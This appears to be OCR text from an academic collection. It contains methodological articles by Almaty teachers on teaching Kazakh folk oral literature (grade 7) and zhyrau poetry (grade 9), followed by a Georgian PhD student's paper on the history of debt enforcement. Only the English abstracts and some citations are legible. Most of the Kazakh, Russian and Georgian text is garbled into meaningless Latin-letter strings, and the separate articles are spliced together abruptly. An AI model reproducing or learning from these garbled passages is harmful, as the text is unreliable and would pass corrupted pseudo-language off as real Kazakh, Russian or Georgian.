PamMKax aBTOPCKOW Mporpammbl no Teme «HapoaHoe ycTHoe TBop4YecTBO» ANs 7-Knacca. B xoze
nccnenoBaHua bblia BbiAB/EHA POb HAPOAHOrO YCTHOrO TBOPYECTBA B Pa3BUTUM A3bIKOBbIX,
KY/IbTYPHbIX W TBOPYECKUX CnocobHocTel ydawmxca. B nporpamme npeactaBfeH KOHTEHT,
NONyAAPU3MPYIOWMIA  HaLMOHaAbHbIE  UEHHOCTW, WHTErpuMpoBaHHbIA C  COBPEMEHHbIMMU
neaarorMyeckMmmM mMeToamu. B pesysbTaTe MOBbLICMACA MHTEPeC y4yalmMxca K npeamerty,
Pa3BUINCL HABbIKM aHaNM3a IMTePaTYPHbIX TEKCTOB M TBOPYECKOM paboThl.

KntoueBble cnosa: HapoaHOe YyCTHOe TBOPYeCTBO, 7/-K/aacc, aBTOPCKAA NMporpamma, MeTOAMKa,
HalMOHabHblE LEHHOCTN, TBOPYECTBO.

Folk Oral Literature (Grade 7)
(Application of the author’s program in practice and research results)

Satanbayeva Panar Moldakhanovna
KSU «School-lyceum Ne 210» of the Almaty City Education Department
Teacher of Kazakh language and literature

Abstract. This article describes the results of methodological work carried out within the
framework of the author's program on the topic "Folk Oral Literature" for 7th grade. The study
identified the role of folk oral literature in developing students' linguistic, cultural, and creative
abilities. The program offers content that promotes national values and is integrated with modern
pedagogical approaches. As a result, students’ interest in the subject increased, and their skills in
literary text analysis and creative work improved.

Keywords: folk oral literature, grade 7, author's program, methodology, national values, creativity.
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rRblpayiap no3a3nAChbl — aKbIHABLIKTbIH
menaip 6actaybl (9-cbiHbIN) (ABTOPALIK
bargapnamaHbl TaxKipnbeae KonaaHy aHe
3epTTey HaTUKenepi)

HNanbaesa ATeH YpcTeHOeKOBHa
AnmaTbl Kanacol binim backapmacbiHbiH «Ne152 mekTten-rumHasua» KMM, Kazak mini
meH a0ebuemi naHi MyFanimi

AHpaTtna. byn saictemenik makanaga 9-CblHbIN OKyLblNApblHA apHanfaH «XKblpaynap
No33MACbl — aKbIHABIKTbIH Menaip 6acTtaybl» aTTbl aBTOPAbIK OafgapiamaHbiH, Taxipnbene
KONMAaHbIybl MEH OHbIH, HITUXKenepi capasaHagbl. Makanada Kblpay/ablK MN033MAHbI OKbITY
apKblNbl  OKyWbINApAblH, 94e0bn-3CTETUKANbIK TaNfaMblH  KanbINTacTbipy, YATTbIK — PyXaHu
OYHWETAHbIMbIH KEHENTY, TapuUXM CaHa MeH Ce3 eHepiHe KblI3bIFyLWblblFblH apTTbIPy *KOAAAPbI
KepceTineai. ABTOpAblK, 6argapiama  MasMyHbIHA EHri3iireH OKbITy aAicTepi, Kobanblk,
Tancbipmanap mMeH MHTepbenceHai aAicTep OKyWbINAPAblH, CbIHM OMNay, WbiFapMalLbINbIK KaHe
3epTTeylWinik  KabinetrepiH pambiTyabl Ke3pendi. Makxkanaga 6afgapnamanbiH, TUiMAiniriHe
KYPri3inreH MOHUTOPUHE NeH Tanaay HaTUXeNepi YCblHbINaAbl.

TyniHAai ce3nep: Kbipaynap no3suvackl, a4ebu binim, aBTOp/AbIK Oafgapnama, OKbITY
diCTeMecCi, TapuxM caHa, 9-CbliHbIN.

Kipicne

Kasak oaebueTi — XanKbIMbI3AblH, TapUXM-PyXaHW »KadblHblH, KepiHici. dcipece, Kbipaynap
M033MACbl — YATTbIK CaHaHblH, Ka/blNTacyblHa, en4iK MAEAHbIH HblfaloblHA 30P bIKMNaa eTKeH
KepKeMAiK A3CTyp. bya Mo33nAHbI OKbITY — TEK KBPKEM MITIHAI MEHrepTy faHa eMec, COHbIMEH
Hipre oKyLUbINAPAbIH YATTbIK OOAMbICbIH KaNbINTACTbIPY, TaPUXM-MBAEHN MYPaHbl TaHbITY, KOPKEM
oMnay KymeciH nambiTy 6oabIN Tabblnaabl.

Hblpay/blK N033MA TaKblPblObIH 9-CbIHbIM AEHIeMiHAE TEePEHIPEK OKbITYAbIH KaXeTTiflir — oKyLUbl
¥Kacbl MeH 0NapAblH PyXaHW TaHbIMbIHbIH Ka/lbiNTacy caTbiCbiMeH 6alinaHbICTbl. Anaaa Kasipri oKy
HbafnapnamanapbiHaa 6yn Takblpbin WeKTeyni Typae faHa Hepineni. Ocbl ONKbINbIKTbIH OPHbIH
TONTbIPY MaKcaTbiHAa «*Kblpaynap No3a3nacbl — akbIHAbIKTbIH MeAAIp BacTaybl» aTTbl aBTOP/bIK,
baroapnama a3ipaeHin, ToxKipnbeae KonaaHbIAAbI.

Makana MakKcaTbl — aBTOpAblK OafdapnamMaHbl Taxipnmbeae KoNAaHy apKbiabl Kblpayaap
NO33MACBIH OKbITYAbIH TUIMAj 9A4iCTEPIH aHbIKTaY, OKyLWblNapAblH, 94ebuneTke Kbi3blFyLWblblfblH
apTTbIPY XON4apPbIH YCbIHY. MiHAeTTepi:

¢ aBTOP/IbIK BaFaapnaMaHblH, Ma3MyHbl MEH Kypbl/ibIMbIH CUNATTay;
KO/IA@HbINIFAH 9A4iCTEP MEH TEXHONOTUANAPAbl KBpCeTy;
OKY yAepiciHAaeri TMiMAiniriH Tanaay;
H6acka neparorrepre yCbIHbICTAp *Kacay.

X/
L %4

X/
£ %4

X/
£ %4
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Byn GafbiTTafbl 3epTTeynep WeTenqik Taxipnbene ae kesgeceai. MaceneH, GonbKNopTaHy MeH
Tapuxm aaebureTke oKyWwblNapabl Kbi3bikTbipyaa HKanoHua, Koped, PuHAAHAMA CbiHAbI enaepae
KONAAHbINATBbIH KOBanblK OKbITYy MeH MaHapanblK WHTerpaumsa TacCinAepi OH HaTuxkenep
KepceTyde. An oTaHAblK fanbimaapgaH M. Mapmyxameaynbl, C. Kackabacos, P. bepaibaes
eHOeKTepiHAEe KbIPay/blK MO33MAHbIH, TapuxK, 34ebn-dnnocoPpuanbik epeKkLlenikTepi Fbiabimu
TYpFblAa TandaHfaHbIMeH, MeKTeNTeri OKy TakipubeciHe GenimaenreH agicTemenik Hyckayiap
MeTKinikeis [1].

oaicteme

ABTOpAbIK Oardapnama »Kblpaynap Mnoa3uacbiH 9-CbiHbINM OKYyLIbIIAPbIHA KyMeni api TepeH,
MeHrepTyai makcat eTTi. bargapnama 10 anTanblK mep3imai KamTbin, 9p anTada XKblpayblK
N0331AHbIH, Bip KbIpbl KAPACTbIPbINAAbI: TAPUXN KOHTEKCT, KOPKEM/IIK epeKLLenik, *Kbipay 6elHeci,
WweteHaik aactyp 17.6. OKbITyAa TeMeHAeriAen saicteMenik Tacinaep KonaaHbiaabl:

1. MogaynbLik OKpITy — bafdapnama moaynbaepre beniHAi: Kipicne, »KblpayablK O3CTYP,
Xblpaynap emipi  MeH  WbIFapMallblablfbl,  TaKbIPbINTbIK-CEMAHTUKANLIK  Tanaay,
LWbIFAPMaLUbIIbIK *YMbIC. By Tacin oKkyLblAapAbiH OinimMiH »Kyneneyre MymKiHaiK 6epai.

2. WHTepbenceHai agictep — «oMnaH, Kyntac, 6enic», «aknapaTTblK TyMiH», «illiHe-
CbIPTbIHAY, «ABHreneK YCTen» CUAKTbl 9A4iCTep apKblabl OKylIblIap Tanaay, Mikip anTy,
CaNbICTbIPY, KOPbITbIHAbI }Kacay AafablAapblH 4AMbITTbI.

3. MobanbiK KYMbIC — OKyLIblAAp LWafblH 3epTTey MKYMbICTapblH OpbiHAaAbl. Mbicanbl,
«blpay — aKbINren TyaFa» TaKblpblObiHAA WaFblH NPe3eHTaLmA, acce Hemece benHeponK
a3ipnea,.

4. Undpnbik pecypctapabl KongaHy — Padlet, Canva, Quizlet nnatdopmanapbl apKblibl
OKyLblAap Tancbipmanapdb! WblFapMallblAbIKNeH OpbIHAAMN, 63 KYMbICTapblH BM3yanabl
TYPAE YCbIHAbI.

5. KepKeM MaTiHMEH XYMbIC — }blpay WblFapMasapblH MaHEpPEN OKY, CEMaHTUKANbIK KapTa
acay, CO3/jK KOPblH KEHEeWTy MaKCaTblHAA KepKeM cennemaepai Kasy CUAKTbI
Tancbipmanap bepingi.

6. [loHapanbiK 6avnaHbic — Tapux, My3blka, bOelHeney eHepi MNaHAEPIMEH WHTerpaums
aPKbI/Ibl XKbIPaYAblK MO33UAHbBI *KaH-KaKTbl YFbIHY KAMTaMachI3 eTinai.

bargapnamaga OKbITy KafuaaTTapbl — OKylbl BenceHainiri, Tynransik 6afgap, YATTbIK MasmyH,
OMANorTiK OKbITY *KoHe pedaeKkcnsa HerisiHae KypblaFaH. DiCTeEMEHIH, epeKLueniri — xbipaynap
WbIFAPManapblH TEK OKbITY emMec, onapAbl Kasipri OKyllbl CaHACbIHA KaKblHAATY, MaFfbIHACbIH
emipmeH balnaHbicTbipa TyciHAipy [2].

MpaKTMKaga Konaaxy
bafrgapnamanbl  AcTaHa KanacbiHA@fbl Kannbl opTa binim  bGepeTiH meKTenTiH  9-CbIHbIM
OKYLUblNAPbIHA €Hri3y apKblabl Ky3ere acbipablK. 2024 KblAAblH, Ka3aH—KEeATOKCaH alniapbl

apanbifbiHaa 20 cabaKkTaH TypaTbiH UMKA oTki3inai. CabakTapaa Keneci barbiTTapra HacbIMabIK,
bepinai:
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Cabak, peTTiK CabaKTblH, Ma3MyHbl KonpaHbinfaH agic-tacinaep
HeMmipi
1-cabak HblpayblK NO33UAHLIH TabuUFaTbl [MocTep »acay, TONTbIK *KYMbIC,
MeH LWbIFy Teri. «*Kblpay AereH Kim?» nikipTanac
CypafblHa Xayan i3aey.
3-cabak, AcaH Kalfbl WblFapmallblnbiFbl aHe | Tapuxu Tangay, MaTiHMEH KYMbIC,
«HKepynblk» i3geyi. NHCepT aAici
5—6-cabakTtap KastyraH meH JlJocnambet CanbicTbipmansl Tangay, saebu
XblpaynapablH N033mACckl. Kepkemaik Tangay Kecreci
Tin MeH YATTbIK naes.
10-cabak, «Kblpaynap NoO33mACHI XKaHe Kazipri MikipTanac, «AeHrenek ycren»,
3aMaH» TaKblpblObIHAAFbI NiKipTanac. CbIHW OM1ay CTpaTer1anapsi

3epTTey HaTUXKenepi:
CabaKkTapapblH TMIMAINITIH aHbIKTAY YLWiH BaCTanKpl }KaHe KOPbITbIH/AbI ANArHOCTUKA XKYPTi3inaj.

OkyLwblnapabiH o4ebu-KepKkem MaTiHAI Kabblnaay, Tapuxu TyFanapabl TaHy, WbiFapmallblibliK,
KYMbICKa Berimainiri kKepceTkiwTepi anTapablKTal ecTi.

Mblicanbl:
> 70% OKyLbl ©3 OMbIH EPKIiH XeTKi3e anaTtbiHbliH KepceTTi (bacTankpiaa — 35%)
> 85% OKyLUbI ¥blpayaap N033UACIHbIH TAPUXU MaHbI3blH TaHbIFAHbIH aUTTbI

> 65% OKyllbl LbIFAapMaLLbIAbIK TancblpManapabl (scce, npeseHTaums, 6eMHeponnK) CaTTi
OpbIHAAAbI.

100 BafmapnamaHbiH OKyLUbIIApFa 9cepi

85%

Okyuwblnap yneci (%)

OWiblH epKiH XeTKizy  Tapuxu MaHbl3blH ltisHyapMallblibiK TancbipMa opbiHAAaYy
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ApPTbIKLWbINbIKTAPbI:
v OKyLUbl TYFacblH AaMbITyfa DafbITTaNfaH
v 9aebueTTti emipmeH 6ainaHbICTbipaabl
v Undpnbik cayaTTbiablK NeH 3epTTey AafabiCbiH AaMblTabl
v' YNTTbIK PYXTbl, TAPUXM TaHbIMAbI TEpeHaeTeai

KeMwinikTepi:
v Kenbip okylWblnapa *Kbipay TifiHAEri apxanamaep KUbIHObIK TyAbipAb
v YaKbIT TanLblAblFbl — 6APAbIK MOAYNbA] TEPEH KAMTYyFa MYMKIHAIK Bepmeai.

¥YCbIHbICTap

ABTOpAbIK OafaapnamaHbl OKy npoueciHe eHrizy 6apbiCbiHAa TOMEHAEriAeN YCbIHbICTAPAb!
yCbiHyfa 6onaspi:
< Kblpaynap wWelFapMmanapblH Kasipri TiIMEH TyCiHAIPEeTIH KOCbIMLIA CO34iK Hemece
ayAapManblk maTtepuan ganbliHAAY;
< Op cabakTa 3amaHayu TexHo/nOrManapabl (BMAEO, aHMMaUMA, ayaAMOOKbINbIM) Kebipek
KONAaHy;
< bargapnamaHbl benimaen, KocbiMwa yripme Hemece dakynbTaTMB cabafbl PeTiHAE YCbIHY;
94ebuneT NeH Tapux NaH MyFafiMaepiHiH, 6ipaece sKYMbIC iCTeyiH YUbIMAACTbIPY;
KopbITbIHAb! HaFanayaa TeK TECT eMec, WblFapMallblibliK eHimaepre ae 6afa bepy [3].

R/
0.0

R/
0.0

KopbITbIHAbI

«Xblpaynap Noa3mnaChbl — akblHABIKTbIH, MeAAiIp BacTaybl» aTTbl aBTOP/bIK OaFraapnama — aaebumeTTi
OKbITYAbIH Ma3MyHblH TepeHJEeTin, OKylblNapablH pyXaHW AamybiHa OafblTTanfaH ThiH,
aaicTemenik i3aeHic HaTuKeci. bargapnama anacbiHA@ Kblpayaap LWblFAPMALLbIAbIFbIH TapuUxm-
M3/IEHM, KBPKEMIIK KaHe GUNOCOPUANLIK TyPFblAaH 3epaeney apKbl/ibl OKyLblNapAbiH 24e6m
TaHbIMbl KEHEWIN, YATTbIK OOMbIC NMeH TapUxn caHaHbl TYCiHY AeHreni apTTbl. OKyLbl benceHainiri,
WbIFAaPMaLLbIAbIK ONAaYbl, KEPKEM MITIHAI Tanday »KoHE CasbICTblpy Aafablnapbl anTapbiKTam
Aamblabl.

bargapnamaHbiH, Taxipubene caTTi KOAAaHbLAYybl — OKylWblNapAblH, Tek 6iniMiH faHa emec,
TY/Fa/blK, KAacMeTTepiH Ae JambiTyfa 60naTbiHbIH KepceTTi. dcipece, »obanblK HKyMbICTap MeH
3amaHaym TexHonormanapabl bipikTipe KongaHy — cabakTblH Ma3MyHbIH TapTbiMAbl €Tim,

OKYLbINAPAbIH,  KbI3bIFYLWbIAbIFbIH - 0ATTbl.  byn  aaictemeHiH, emipmeH 6alinaHbickl  6ap,
OYHKUMOHANAbl cayaTTbiNblK MNeH KyHAbIAbIKTapfa Heri3genreH OkKbiTyfa 6eT  bypaTbiHbIH
aanengen.

annbl anfaHga, 3epTTey HaTuMKenepi meH cabak OapbicbiHAasbl  OaKkblnay AepeKkTepi
KepceTKeHAeN, aBTOP/bIK, DaFaapaama Kblpay/iblK NO33UAHbI OKbITYAbIH TUIMAI 9pi Ma3sMyHApbI
yArici 6ona anaabl. bonawakTta ocbl baraapnama HerisiHae dakynbTaTUB, INEKTUBTI KYPC HeEMece
OHJTAMH pecypcTap a3ip/iey apKbl/ibl OHbl KEH ayKbiMAa KOAdaHyFa MyMKIHAIK 6ap. byn 6actama
Xannbl 6inim bGepy KyheciHaeri yNTTblK 94ebMeTTi OKbITyAblH CanacblH apTTblpyfa, ©CKeneH
YPNaKTbl PyXaHU-M3AEHW TypFblaaH Topbueneyre 30p yaec Koca anaabl.

KongaHbinFaH gepekTep Tisimi:

13. Kackabacos C. XV-XVIII facbipiapaasbl Ka3ak noasuackl. — Anmatsl: Foinbim, 2014, - 312 6.
14. beppaibaes P. Kasak anocbl. — Anmatsl: PayaH, 2018. - 280 6.
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15. AxmeToB 3. KasaK Mno33usCbIHbIH, epHeK Tini. — AnmaTsl: MekTen, 2019. - 240 6.

Mo33uA Xblpay — YUCTbIN UCTOK NO3TUYECKOTO UCKycCTBa (9-Knacc)
(MpumeHeHue asmopcKol NPO2PAMMbI HA NPAKMUKE U Pe3ysibmamsi Uccied08aHUA)

JNanbaesa ATeH YpcTeHHeKoBHa
KI'Y «llkona-rumHasmnsa Ne152» YnpasneHus obpasoBaHma ropoaa Anmatsl
Y4yumersb KG3axXCKO20 A3bIKA U AUMepamypel

AHHOTaumA. B JaHHOM MeTOoAMYECKOM CTaTbe PaCcCMaTPMBAOTCA BHeAPeHME W pe3ynbTaTbl
aBTOPCKOW Mporpammbl  «[1033Ms  Kbipay — YWUCTbIA WMCTOK MOSTUYECKOTO MCKYCCTBAY,
npeaHa3HayeHHOM AnA ydawmxca 9-knacca. B cTaTbe packpbiBatoTca nytv GopmmpoBaHMA
NNTEepaTypPHO-3CTETUYECKOrO BKYCa, PaclIMPeHMA HaLMOHANIbHOMO AYyXOBHOrO MWPOBO33PEHMA,
Pa3BUTUA MCTOPMYECKOTO CO3HAHMA WM MHTEepeca K MCKYCCTBY C/I0Ba MOCPEACTBOM M3y4YeHUA
KblpaycKon no3smn. MeToapl 0by4yeHMA, NPOEKTHble 3aZaHWA M MHTEPAKTUBHbLIE TEXHOIOMUW,
BK/ItOYEHHbIE B COAEPKaHMe aBTOPCKOM MPOrpaMmbl, HanpasaeHbl Ha Pa3BUTME KPUTUYECKOrO
MbILWNEHNA, TBOPYECKMX W WUCCNeAoBaTeNbCKMX CMOCOOHOCTElM y4allmxca. B cTaTbe TaKke
npuBeAeHbl pe3ynbTaTbl MOHUTOPUHIA M aHann3a 3GGEKTUBHOCTMU NPOrPaMMbI.

KntoueBble CNOBa: M033Ms Xblpay, iMTepaTypHoe 0bpa3oBaHmMe, aBTOPCKan Nporpamma, MeToamKa
npenofaBaHna, UCTOpMYECcKoe Co3HaHMne, 9-Knacc.

Zhyrau poetry — the pure source of poetic art (Grade 9)
(Application of the author’s program in practice and research results)

Dalbayeva Aten Urstenbekovna
KSU «School-gymnasium Ne 152» of the Almaty City Education Department
Teacher of Kazakh language and literature

Abstract. This methodological article examines the implementation and outcomes of the author’s
program titled «Zhyrau Poetry — The Pure Source of Poetic Art» designed for 9th-grade students.
The article highlights how teaching zhyrau poetry contributes to shaping students’ literary and
aesthetic taste, expanding their national spiritual worldview, and enhancing historical awareness
and interest in the art of words. The instructional methods, project-based tasks, and interactive
techniques included in the program aim to develop students’ critical thinking, creativity, and
research skills. The article presents monitoring and analytical results that demonstrate the
effectiveness of the program.

Keywords: zhyrau poetry, literary education, author’s program, teaching methodology, historical
consciousness, 9th grade.
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350M0b 0dM9o0;0 SCbfMMmMadnls

aLEMMOYMO 93MEMY30: ©bEN3YMNSH
0obodymmizg Lodomonmgomna

MJ8IMN(307J050)
Bobs MmbLiEmadsdznmn
LogdoMmm3gmMmmb o300 vM3sdgbgdmals Lobgemdnl 36037MLNEIENL Ludshormal

Limaols cmd@Gmmsb@n; 4. mdamabin LygosmMm3genm

S0LEMII B0

35 EJ07mM00L 3gnLMYEYdEMMOLL 073L Lb3sslbzs Nemymaznon go3emabs Ambsfoemy
dboMmyg0dvy, soMmdmeE 30, dm3omabg, 3MaEo@mmby, dsHBoMBy ©o Lobmasmydsby.
obEMMoNmMoE, 35ol sSbMmMadabom3zanl IMs3sman 3g7obabdn dgnddbs. Lodfybommeo,
sbfMmadsdn  godmygbgdomamn  LLbJgngdo,  doblLognomadooy 30 3oMoEo  35mM0bL
39LmYMOmMMOnL bofomadn, ymzgmm3zal bogBome 83s3M0 nym.!
Pnbodgdsmy LESGNSAn gobbaommymaos 3nMmon 35l sOLMYMIdsdn gsdmygbldoymaon
bobdsngdn.  bodmddn  Homdmeagbamns, Mmd  Bmgnghmon  Lsbdsns, MmIgmog
850mnygbgdomes  sb@asnm  LobBmasEmadgddn, 33mMo3  8odmnygbgds ;obodgmmaiy
Lodomogmgdmng  LoLEYdgddn, oAy ImEoBWNENMydNMN  BMMIno.  EMdEOENYMN
gosbolynbommonls  (gogm@Mmadols)  domyanmomgdgmn  bmmdgdn  domoszmabo
3hgo@mmols  ©o330l3gb oym  Fndshoyymo,  bmemm  3ndsbo@oymo  sb3gddEn
181M0aMyma3nmo MAgOMEs. Mmebsdgmmsy Lo3sbmbdadmm MyanmoEngdn 30 30Bbs
0bobo396 39mMEYdYMMYd0L AgnLMymMademonl dgEaaeE EsBsMomMydNMN y3gms dbsmals
06E&9MaLYdNL EOdSMEBLYOSL.

donbgozs ndnby, Mmd LN33ENMNO ESLXS S TMbMOs sMof dSMlLgdmMOL, bmenm
LBogomm  39@ndMmonl  3Mod®n3s ol  dg@o  dgbomeymos, abEmMonmo
Lodomogmgdmnzn 0bLEMYTbGN “Jmbgdol ndymadomn mMysmobosns” 333 Mhgds
36033b5emm306 LobJnoE, 0dEs doM33anMN 3odmbosmaligdno. 3smal godm dmbmos
ML sMmoMm godmnygbgds, 0madEs, 3nMal Imdsz5emn dgdmbezmadnls ndymadnomn gosEgds

3Mhan@mmolbom3zol  goMmizgnmbomoe  dgndmds  gobobomadmegl  0sbsdgmm3ag
"ozomm Imbmodnl" 3mMadsco.

bo3356dm LoEY3gdn: NdYMYONMN SOLMYMIOS, JMBIONL ASBMMNTY3, YRMIOJONL B33

1 Berggren, N. (1997). Rhetoric or reality? An economic analysis of the effects of religion in Sweden. The Journal of
Socio-Economics, 26 (6), 571-596
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The Historical Evolution of Debt Enforcement: From Antiquity to Modern Legal Regulations

Nana Rostomashvili
PhD student of David Aghmashenebeli University of Georgia — School of Law

Abstract

Failure to fulfill obligations has various negative impacts on the parties involved, specifically on
the debtor, creditor, market, and society. Historically, many mechanisms were developed for debt
enforcement. Unfortunately, the sanctions used in enforcement, especially regarding personal
debt non-performance, were always quite severe.

This article examines the sanctions used in personal debt enforcement. The paper
demonstrates that some sanctions that were used in ancient societies continue to be applied in
modern legal systems, albeit in modified forms. Traditional insolvency (bankruptcy) regulations
were primarily aimed at protecting creditors, while the humanitarian aspect remained neglected.
Modern legislative regulations aim to balance the interests of all parties affected by the non-
performance of obligations.

Despite the fact that the death penalty and slavery no longer exist, and debt imprisonment
practice is highly limited today, the historical legal instrument of "forced realization of property"
remains an important sanction, albeit with certain exceptions. Debt slavery is no longer used
today; however, the forced transfer of a person's future income to the creditor can, to some
extent, be considered a modern form of "debt bondage."

Keywords: Enforcement, Property Confiscation, Rights Protection
dglozomo

LaLbOL vMads nbEmMaymMoE Homdmsalbs 3bnd3b9mMm3506 BnbsbLYM nbLEMNI]bE U,
Mm3gmbsog  osdnsbydn g3mbmdosnmo LoMommggdal sbasdmgzse dndommo3byb.
doybgmozo@ ndabs, Mmd Bmangmon gsdLglbgdgmo 13Mmeab&m Lglbgdl gobydy,
109&qLo Lgbbn Lomagdmals (3MmEgbEol) ESbsTs@nm gonEgdms. 0MdEy, LuMagxdmal
(3MmEab@nl) maagn&ndnmmods ym3gmozal Homdmowaggbos algnbnal  Logsbls dobon
bogodoymao sL397dB700L godm, dogosmMmams MmagmmoEss: dhmdol goMmady domydnMO
bofaqdgmMN, JMbydMN30 YMBBILHMMmMOS, J3MbmTngno sMslGsdnmymmody, ds@gmosmmymn
MabmmLgdal gonbyds dbgbbgdmoEsb 33Mgeo@mmnliigb, nbazmognymo &abwgbiangdals
859dmngMgdy, 9Msedndsbnmn dnagmdgodn, ImaAbasMydgImMms FoMO3SMNSbMOS o LodgHoTgm
060305030l 35830M70..2

ombndbym 3MmomMy30meb ghma, dybogmoms bofoman doyonomgol, Mmd Lomagydgmby
oxnndbgdnymo  i3nbsblymo  yMongmoimdydal  dyaaidn  goblogyoMgdno  ddndge
©@o05mM37dMLs3mM0sbo AlgLbydmadalomznl,® Moasb Lalbol gogdaol 3nMmogdn bdnMsoo

2 Cohen, J. (1982). The History of Imprisonment for Debt and its Relation to the Development of Discharge
in Bankruptcy. The Journal of Legal History, 3 (2), 153—-171.

3 Durkin, T. A. (1993). An economic perspective on interest rate limitations. Georgia State University Law
Review, 9 (4).
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SMoMdbsdsMbBmMAngfmoe 3dndg G3nmmo o§3700 LmEnosmMyMo YE3JM BJ6JOL @O
8oM3399mGomasc GomdmMIMOL msbsdgymmag "bozsemm dmbmonl" a3mmasls.t

doybaozs 0d0by, MM EsOSMAZIMLS3MNSD 30M7dL gLsFnmmgdsm dg@n dogmnlibdgso
boLbol  Eobs@sMoE, donby bdomo  3MEIMEIdS PIBROMM  dosmomo  Lu3fhmegb&m
8960533701700 doon domamoa Maliznl godm. omdEs, LoMagldgmbBy oxndbydnmo Labbgdom
800mf399man  3Mmmdmds LrEJds Bbmmme B3nbsblymn E3nMonl BMmsl.” 39Mdmo,
9600367 mM35060 MEYbmonl 35MEadnMAds, doybaozs ndals, oMal oy oMo ab
3Mm330@00bn, 3o3eMabols sbgbl s dbmmmee Lyimgen@m s dMmadnl dSBMYOBY, Loysfm
dg0mbo3madLy o domonmAboxnmaodnls LobE)sby, oMmodge bygodnymo  snbobgds
dm3omame o Fson  mxsbgdal  xsbdMmogmmodsty,  Logbmamadgm  30mmodydbY,
8o9bomdaby,  LmEosMYM  3gonMEEIMOSY],  EoLo]dqdsBy,  dldmbLs3MIdLY O
LbobmaoEmydmng AshoymMmmodsBy. 01dEs, 3MmdMIds SJ@MNsmMTMns 350653, Lbsd 350
©on3MY0s. dmo3zsmn 3Mmdgds Homdmngdbads 08 dgdmbagzsdn, Mmabsg dm3semg 39M
SLMYMAOL  30mMEIOYMYdSL. Lobdingdn, MMAMIdNE d99mnygbydmes 3nMmoEn 350l
SbMymgdalo3nl, obEmmoymoe bLogdome d353Mn oym. 30b650©EL  93mbmangyMoc
dmfHyzmace 30Mg0L 93300 YRMM FoMOM0 SENOSNMOY, MmMA 39M dxdenmb 30l PoBsM3Y, gl
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LMEnsMYMOE ENE330 30M7d0LM30L.

LObJngdn  ofh  3odmnygbgds  93EMISGNMOE YMm3JMNN  33SFSPI(NMIOYINO
30MEY0YMIO0LM30L. 00y 35mal MgbEMYIGNMabogns, MmIgmog Mmoozl goobonl
8obobmadnm gmoxsnidl o ol Fobomydns  3MyeoEmmobo;3nl,  dgLodmydgmons
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0530 1. 33amabl s@bmymydnl 99debnbdgdn s Fscmo nbGmMaymo gobznmomyds
obEMMonmMoE, 3MyEnEmMmadn LB3soLB3s 3xonMmEYdL nyYygbadEbab LaLbol LdMYbydAL

1BMMb3gmUboymas. gomsb@nals Lobno godmnygbgdmms ydMmozn o dmdmszn Jmbgdy,
o3y 30m3b70900, Moo 30mMoL  goonbEymMmmdnl  dgdmbzgzsdn  3Mgeo@mmol

4 Faroog, M. (2012). Interest, usury and its impact on the economy. Dialogue, 7 (3), 265-276.

> Erdem, E. (2018). Kur’an’da riba (faiz) ayetlerinin kademeli niizulii ve Gslubu: islam’in ticaret, infak ve
finans sistemi tizerinden bir inceleme [The gradual revelation and style of the riba (interest) verses in
Quran: An enquiry regarding the trade, aid and finance system of Islam]. In T. Egri & Z. H. Orhan (Eds.),
islam iktisadi perspektifinden faiz [Interest from the perspective of Islamic economics] (pp. 1-51). iktisat
Yayinlari.

6 Gross, K. (1990). Debtor as Modern Day Peon: A Problem of Unconstitutional Conditions. Notre Dame
Law Revew, 65 (2), 165-205.
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06&9MaLodn @OENMMN ymaznmoaoym. 35107 aonl of dgbhymgds bdoMmo Lobbols
bBodsmomol EomMm3g3s dnnhbymms, Molivl ©100GMMAlL ©B35&NIMyds IM3Y3xdME.L.
8obLogyomgdnm d303Mo aym 35mal Lodsfhosma d3gem Mmddo, Lowsg 3Maen&mmyodl
IBRmMIds 3JMboo ©ogLloxsm ob dmaimoo 3735mMIJ00 - 30mMab  gosnbymmonl
dadmbzg3ado.
d39mm 9830339300 Lobsdomogmm EJONEMML 535 EIdYMYdES gobLybmamnm 35580
30MOL o3eM35L. 017y 080 3L 39Mm sbgbads, ol 100 smEyYdnl Loboo 3nbBognMo
bobxgmo 93036mEs. sbgon 3zs3Ma BMTdn 39l MMM EoxsM30l IMEN35305L
Domdmoanboo.

d3gm  obyMmgodo 30mob  goonbammds gobmgzbno obxgdmEs,  bBmenm
JM0bE05b6MdST0 30MnL goanbymmos JyMmomodals 933035MabENM 3MEP35E NM3MIOMDS
>  m300b  Lodbxozmml  0f393@s.  obmodnm  Lodsmomomdn  Lgbbn  Mymogonman
35(MEJ0YMJ0s nym o , dnbo gosybammos 0f373s Jmbydnls AsGmmomdn3sL b Lb3o
LobdE0gdL.

Lb3oLbBb3s LobmMasmMydsdn, gsb3znmoms 35l gosybgmMmmonl smbMmydals
monbn dofhoomso 397obn0Ban: 39 ndMMOS, BYMSE0 3M3376LENS, JMBydNL ASTMMNT]3s o
dmbmody.

30@ndMmmods - 71d3gmalbo  ©m3ndgbEnmno  Hsbohamadn 30mmob  o3s330MadnMn
35¢ndmmonls dgbobgd Lndgfgdl 93nm3b0l. H3gbL Hamosmmogbzsdg XXIV Loysnbob
306Mmb3adMmMdND  gomsa3nlbyymadnem 0dbgb ol 30fgdo,  MMImMId0l 30l
83odnbgmMmmonl godm &y3gmosdo ndymazgdombyb;
d39m 93303&9080 (A390L Hamansmmabzsdg VI boninbg) 3m3semggdn, MmImMadoE 30U o
0bEnEbab 3s@ndfmdoon nbxgdmebgb. dyo Loninbggdol nbamobdo Xl Longnbowsb
BbJnmbomyds L3gEnomyMmo 30bggdn dbmemeE 35l gosybgmo 3nfmgdobo3nl,
abao3bn 3MogdB03s sMLgdmMdES BmM3gansdni XIX boysnbol dmemMAI].
nbgmolymo  Lodomoremol  dnbg3nm, 30mMosb  ©8303d0M0NMN  30&ndMmods o
003MJOMES Es6sdsyM0bm30L o3nLMIdNM LobxgmeE, sModgE oym smbMymMydal
ndymodoon mmbobdogds, Mmdgmag dghyeadmmos 39mal Eoa3sMm30L b dobn Lb3sgzsMmo
aoobnls dgdmbzgzsdn.

BYME0 3MA33706LsENS - d39m 33303780 AM35eMa300 LLbsdsmommdn n3ni370©EbYb, MmA
3mMb3MaBYmM 300530 35 gosnbnbb. o7 nbinbo oL M M373b6, Foo sMmo AbmMmme
sbn om@ydoom LxnEbab, sModyE 30mal MmMmdsgn Mobbal gosbslivg v30LMydEbYL.
abgosbn §oladn sMlgdmdEs sMsdgmadnE, Lol 30MOL EROM3NL 39 FOEINEIOMEY,
dogMmod 00sLosb gmoms 35ema 3bnd3bgmm3bo nbBMaydmes — bBdofm dydobizn3sdn
8omMB537301mM0 86 goled8sg70mmao 01sbbs KB ogTsMsm. ’

dmbgoal hsdmmmadgss - d3gm hobgomdo goonbogmao 30mab Lsbsgzmmme, dm3smal
